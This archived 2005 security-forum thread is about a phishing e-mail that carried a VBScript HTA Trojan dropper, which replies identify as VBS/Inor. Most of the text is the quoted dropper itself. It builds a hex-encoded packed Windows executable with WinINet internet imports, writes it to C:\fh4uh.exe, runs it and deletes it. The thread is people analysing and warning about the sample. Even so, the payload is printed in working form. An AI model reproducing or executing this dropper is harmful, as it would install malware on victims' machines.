R=R+(V("C8633E231B6648621420D37D205998B54920732E622485129301202C5D70E1A1EDE43BDF859C137D68041B840FDB8566C441DC4EEB135FDEDA583BFF26118B3867DC7466373BCC1AC1DC616457F4F09DC5DC4DEC1AA5206DF06DA56FBCB4D83BF7E0F6450D"))
>
R=R+(V("04123E1C64B35BB378B23BD57F1EDA32E4C16C6D48D28FA1C8B2994B85C7FC01B3369464E417DC895DE012B2EEDD73C0B27DDF74B45664E467B546CD9D749C8FB3F00377E0362BF98C2868201AD532B0B5D82CBFBCB17141072E8E501C718B548774474BAD"))
>
R=R+(V("2D22560DA60D24DDE84205ECC4F1498E75F32C36B7D40C5E142B1E83C2BF5A475D84B557157A61D4EBA505F58BEC14F7C61DABD577DDAC10750750756FEB218A3A897BD655A249E411291F75EB2DCDDAA55E1D0CE3036C20BAC15DDB1D2F4B6C85105B5EA6"))
>
R=R+(V("F7C7F7DCF6C675123AAA8A0B113A50DBDC49EE6C182EFA2AD67689ED1A2E8923C70463AF8E83F5C13A8B06908B1683C692DEB15E6A17662C845C1EF7C29003BE35BC0C0711C639EB1881E27B0A8D349D090E000439DF6D2BC453AF550A0489075F7555BA61"))
>
R=R+(V("BBF8B07585A3FF54026E6BE0AF7147248A8AB305036FF1F983FAA02DF7D94843D8A8BD466BC0A74CC17701F3DDAF03C1061065E203C5335D57607406713A06234AC951D3E91086B396556C8207FC4E686026CEB31C5D3D0205762F8BE599974104066354EA"))
>
R=R+(V("D1ABB83AEC4954C0730F2F8902B826C33EA682349BBE11FE686826F5FF35005CF8B6E019F2582F700C83FEED2E3B5DFD422FB8247428A1768B0CB389CB895FA183B748177CB3049E683A2DB38AC0B77F7D171AFF5408EBC3648FFA7B8C5BE7AB8CC3F5648B"))
>
R=R+(V("C9817904686BFC42D39F5112520C395108339B5803D7DD8A51BB302B7A08E86F5B23FD614B024304896B0C5946FF85D6D167475643323058433030DBEDC0D53708FAFC7385F740ABB15A8AE43B82EBF896B2B5D695CC8D083E2173FDCBF6EF7B08C1618D0C"))
>
R=R+(V("76B18F744556558D6B10DC1BDDADA80B5D5E410B5433783C2563DDB6016B1644B3041D560C86275BC92D083659DE8F8BFDCE75DB048F550C3B08301A8B348FEBA1B8C03BD6E2DB21C9EB155C86109BAC4C3F5D16946E37D8D0BC3B8B29FB1C500318500BCD"))
>
R=R+(V("62C924E100F32835754B323FEF573A4D140E1B5B00C9E49599E8173EF0029B8D05B42878084E43B76F97F8FF41B35AB6208D49008A260AE48ADF210AD31D4647D54DF7FF38FC720638DC770202E638F809D8C638C4AE787BA3416BD733C908744BB92736C2"))
>
R=R+(V("D4C6724487EB859EFF55FB2F94660D8A1F74230BDB741F3F6286A5AFA5C518B4D8140983F26DE50747C341D55C40C7E5AC0941028BC1EDC9E08A1363BD3D1B6E73376428C39E0C0F8CAAB7088026F87C5A0F8FA1C020079FDF2A3CD8E1BF3D5FA95E7D2539"))
>
R=R+(V("09226C8235767E0B7B748805F8E40A5823C6210417E0F6DE0B658B151209C1F870C8F61337608B449780C5650AA48D1AE05B886B885D09587009980B38DA6A5BB756050A6A0B2D6180036EA057F6BC176A6092292005AE6A7506D6BA0D6846F90D05FD032C"))
>
R=R+(V("248AC0A6820BC1718D1121A4AA01FD60D50554D7536C656570FDFFB7B8064765916E7669726F6E6D656E74566172696162DFBEFDB6194118457869745016636573730C436C6F73BF975BFB6548616E641A1957726546690A4372176CD8D965610B410C330F"))
>
R=R+(V("F677DB6D4F70514D7511780B4C434D617053743980EF12F66E67570D1B52746C556E6FB7EF96A3645A696465436884546F386C746936F6C7DA42793DA24350496E666F0A410BB564EFB1074F454D092732DB9EC5863C1E5D547983410F769A85215704614C"))
>
R=R+(V("55962D73B738726E5FDF14760BE8FEBF55726C3F48685175147BDB65DF7985412152F064FC3323F7840B41615045649D6F7418BCDBBBFC42CBE027010B01F21200472FE670143B3B00CB1030AF0B021E012FD96404071F1B5897ECB80628100706429697C4"))
>
R=R+(V("44482C3C3090750364641E2ED8176CD7F17407781E90EB022301DD775B1204E017E8A36A000000285200240000FF00000000000000000060BE003040008DBE00E0FFFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100"))
>
R=R+(V("000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83"))
>
R=R+(V("EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9380000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F8"))
>
R=R+(V("80EBE801F0890783C70589D8E2D98DBE002000008B0709C0743C8B5F048D84300040000001F35083C708FF963C400000958A074708C074DC89F95748F2AE55FF964040000009C07407890383C304EBE1FF964440000061E9FCD1FFFF000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545000003C"))
>
R=R+(V("500000000000000000000000000000615000004C50000000000000000000000000000000000000000000006C5000007A5000008A5000000000000098500000000000004B45524E454C33322E444C4C0057494E494E45542E646C6C00004C6F61644C696272"))
>
R=R+(V("61727941000047657450726F634164647265737300004578697450726F63657373000000496E7465726E65744F70656E4100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
> Fi="C:\fh4uh.exe"
> set NNM=MSmedia.CreateTextFile(Fi, TRUE)
> NNM.Write(R)
> NNM.Close()
> MSplay.Run (Fi),1,TRUE
> MSmedia.DeleteFile(Fi)
> self.Close
> Function V(X1)
> Dim K2
> Dim C3:K2=""
> For C3=1 To Len(X1) Step 2
> K2=K2&Chr("&h"&Mid(X1,C3,2))
> Next
> V=K2
> End Function
> </SCRIPT></BODY>


Posted by David H. Lipman on August 15, 2005, 7:15 pm
If you were  Registered and logged in, you could reply and use other advanced thread options

| Hey there,
|
| I just got an e-mail with this exploit:
|
| From: AdeGuerrer@kampung.com
|
| Header source: kampung.com (dou59-1-82-238-52-63.fbx.proxad.net
| [82.238.52.63]
|
| Subject:
|
| A court has sentenced a man to life in jail for the bombing of a
| McDonald's restaurant, which left three people dead.
|
| The man, Agung Abdul Hamid, was found guilty of financing and
| co-ordinating the attack.
|
| Read full story. (link to the site listed below)
|

McAfee flagged this as the Trojan dropper "VBS/Inor" --
http://vil.nai.com/vil/content/v_100598.htm

It is not a new Trojan and is 2 years old.

--
Dave
http://www.claymania.com/removal-trojan-adware.html
http://www.ik-cs.com/got-a-virus.htm



Posted by Ian Kenefick on August 16, 2005, 12:25 pm
If you were  Registered and logged in, you could reply and use other advanced thread options
On Mon, 15 Aug 2005 19:15:43 -0400, "David H. Lipman"

>McAfee flagged this as the Trojan dropper "VBS/Inor" --
>http://vil.nai.com/vil/content/v_100598.htm
>
>It is not a new Trojan and is 2 years old.

The site has been taken down.


--
Ian Kenefick
http://www.ik-cs.com
http://antivirus.ik-cs.com

Posted by David H. Lipman on August 16, 2005, 12:31 pm
If you were  Registered and logged in, you could reply and use other advanced thread options

| On Mon, 15 Aug 2005 19:15:43 -0400, "David H. Lipman"
|
>> McAfee flagged this as the Trojan dropper "VBS/Inor" --
>> http://vil.nai.com/vil/content/v_100598.htm
>>
>> It is not a new Trojan and is 2 years old.
|
| The site has been taken down.
|
| --
| Ian Kenefick
| http://www.ik-cs.com
| http://antivirus.ik-cs.com

Nope... I can still download the HTA file...


8/16/2005 12:30:28 PM Deleted DLIPMAN-1\lipman D:\temp\IE6\Temporary Internet
Files\Content.IE5\FZ4HCZOS\w[1].hta000184.vbs VBS/Inor

--
Dave
http://www.claymania.com/removal-trojan-adware.html
http://www.ik-cs.com/got-a-virus.htm



Similar ThreadsPosted
MSO..?..exploit / Well REALLY !! February 12, 2006, 2:36 pm
Help ANI exploit April 23, 2007, 7:56 pm
XML RPC Exploit Attack December 20, 2005, 3:41 pm
Re: WMF Exploit question January 5, 2006, 3:31 pm
Re: WMF Exploit question January 5, 2006, 4:33 pm
Exploit.Win32.WMF-PFV February 22, 2006, 9:35 am
VML exploit still unpatched in XP SP2 and IE6/7 December 6, 2006, 11:34 am
Java/ByteVerify!Exploit May 29, 2006, 8:15 pm
MS05-002!exploit on Windows XP Pro SP2 June 11, 2006, 11:23 pm
Trojan Exploit.yim.CYFT August 28, 2008, 9:35 am

The site map in XML format XML site map

Contact Us | Privacy Policy